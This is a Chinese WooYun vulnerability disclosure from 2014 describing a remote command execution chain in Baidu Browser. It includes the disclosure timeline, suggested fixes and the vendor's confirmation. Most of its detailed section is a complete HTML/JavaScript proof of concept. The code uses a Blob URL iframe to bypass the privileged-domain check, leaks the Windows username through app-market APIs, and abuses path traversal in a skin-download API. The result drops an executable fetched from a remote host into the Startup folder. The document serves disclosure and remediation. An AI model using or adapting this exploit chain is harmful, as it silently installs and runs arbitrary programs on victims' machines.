当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080438

漏洞标题:百度浏览器远程命令执行二 - 绕过特权域限制

相关厂商:百度

漏洞作者: gainover

提交时间:2014-10-23 08:54

修复时间:2015-01-21 08:56

公开时间:2015-01-21 08:56

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-23: 细节已通知厂商并且等待厂商处理中
2014-10-23: 厂商已经确认,细节仅向厂商公开
2014-10-26: 细节向第三方安全合作伙伴开放
2014-12-17: 细节向核心白帽子及相关领域专家公开
2014-12-27: 细节向普通白帽子公开
2015-01-06: 细节向实习白帽子公开
2015-01-21: 细节向公众公开

简要描述:

哎呀,上一个没给满20rank。。 所以我又来啦~
这一次不用XSS了,直接用了某个东东绕过了特权域的限制。

详细说明:

总共用了三个漏洞点:
1. 绕过特权域判断
2. 利用缺陷API下载任意程序至指定目录
3. 结合电脑用户名称泄漏的缺陷,将程序下载至用户启动目录
以下是详情:
1. 特权域限制上存在问题, 百度浏览器除了允许 bdbrowser:// 和 http://xapp.baidu.com/ 这2个域外,我发现 file域同样可以执行特权API, 而当我们从http域重定向至 bdbrowser 或者 file域时,都会提示禁止访问本地域资源,这不禁让我想到了另外一个有点算是本地域的 东西 blob。于是控制台测试以下代码:

var data='<script>执行特权命令</script>';
var blob=new Blob([data],{"type":"text/html"});
(function(){
var iframe=document.createElement("iframe");
iframe.src=URL.createObjectURL(blob);
document.body.appendChild(iframe);
})()


发现可以成功执行,这样一来,我们可以在任何页面里通过这段代码来执行特权API了。
2. 特权API bdbrowser.skin.download 的 的 name参数未过滤,导致可以将皮肤文件下载至系统盘的任意指定目录内。

window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1/../../../../../../../../../../../../../cmd.exe\",\"url\":\"http://192.168.1.105/testbaidu.exe\"}",window,"")


例如以上代码,将会在系统盘根目录下生成一个cmd.exe,如下图所示:

1.jpg


3. 我们要实现执行命令,还需要将程序写入到系统的“启动”目录下。
但启动目录的路径中,需要知道 用户名信息。经过研究发现:
AppService.AppMarket.DownloadPack 和 AppService.AppMarket.DeleteExt 这2个API均可导致用户名泄漏,其中不使用我前面所发布的上一个漏洞中用到的技巧的话,前者会弹出安装提示,而后者不会提示,但是后者要求用户装过插件方可。

2.jpg


4. 结合以上三个步骤,我们可以构建以下PoC代码,仅供参考,在WIN7和IE下进行了测试。

<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<script type="text/javascript" id="apirun">
function getInstallList(id,list){
//console.log(list);
var result=JSON.parse(list);
var apps=result.content.ItemList;
var deleteID="";
for(var i=apps.length-1;i>=0;i--){
if(/\w{32}/.test(apps[i]["ID"])){
deleteID=apps[i]["ID"];
break;
}
}
console.log("deleteID:"+deleteID);
if(!deleteID){
//不存在自安装插件,通过安装法来获得user
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","getUser","{\"ID\":\"eococdloljmhdpnihekiiohodgcgjigh\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\",\"UPDATE\":\"false\"}",window,"");
}else{
//通过删除插件法来实现静默执行
window.external.StartRequest(222,"AppService.AppMarket.DeleteExt","getUser","{\"ID\":\""+deleteID+"\"}",window,"");
}
}
function getUser(id,res){
console.log(res);
var isWin7=/NT\s+6/.test(navigator.userAgent);
var user=isWin7?(res.match(/[A-Z]:[\\\\\/]+Users[\\\\\/]+([^\\\/]+)[\\\\\/]+AppData/)||["",""])[1]:(res.match(/[A-Z]:[\\\\\/]+(Documents and Settings|DOCUME~1)[\\\\\/]+([^\\\/]+)[\\\\\/]+/)||["",""])[2];
generateCMD(user);
}
function main(){
window.external.StartRequest(222,"AppService.AppMarket.GetInstalledList","getInstallList","{\"RequireDetail\":\"1\",\"RequirePermission\":\"1\"}",window,"");
}
function generateCMD(user){
console.log("Current User:"+user+"\n");
var isWin7=/NT\s+6/.test(navigator.userAgent);
var win7="Users/"+user+"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/test.exe";
var xp="Documents and Settings/"+user+"/「开始」菜单/程序/启动/test.exe";
console.log((isWin7?win7:xp));
window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1/../../../../../../../../../../../../../"+(isWin7?win7:xp)+"\",\"url\":\"http://192.168.1.105/testbaidu.exe\"}",window,"")
}
try{main();}catch(e){};
</script>
<script>
//利用blob绕过特权域执行特权API
var data='<script>'+document.getElementById("apirun").innerHTML+'</scr'+'ipt>';
var blob=new Blob([data],{"type":"text/html"});
(function(){
var iframe=document.createElement("iframe");
iframe.src=URL.createObjectURL(blob);
iframe.style.display="none";
document.body.appendChild(iframe);
})()
</script>
<h1>百度浏览器远程命令执行DEMO</h1>
</body>
</html>


最终执行后,效果如下图所示:

3.jpg


漏洞证明:

在WIN7 和 XP下测试成功,
视频演示:http://v.youku.com/v_show/id_XODA5MzM1NzA4.html (录制于XP虚拟机)

修复方案:

1. 修复特权域的判断
2. 对bdbrowser.skin.download这个特权API 的参数进行严格过滤,限制下载路径与下载来源
3. 对AppService.AppMarket.DownloadPack 和 AppService.AppMarket.DeleteExt的返回数据中敏感的路径信息进行屏蔽,如果数据不需要,可以考虑不返回这些路径信息。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-10-23 11:24

厂商回复:

感谢提交,已通知业务部门处理。

最新状态:

暂无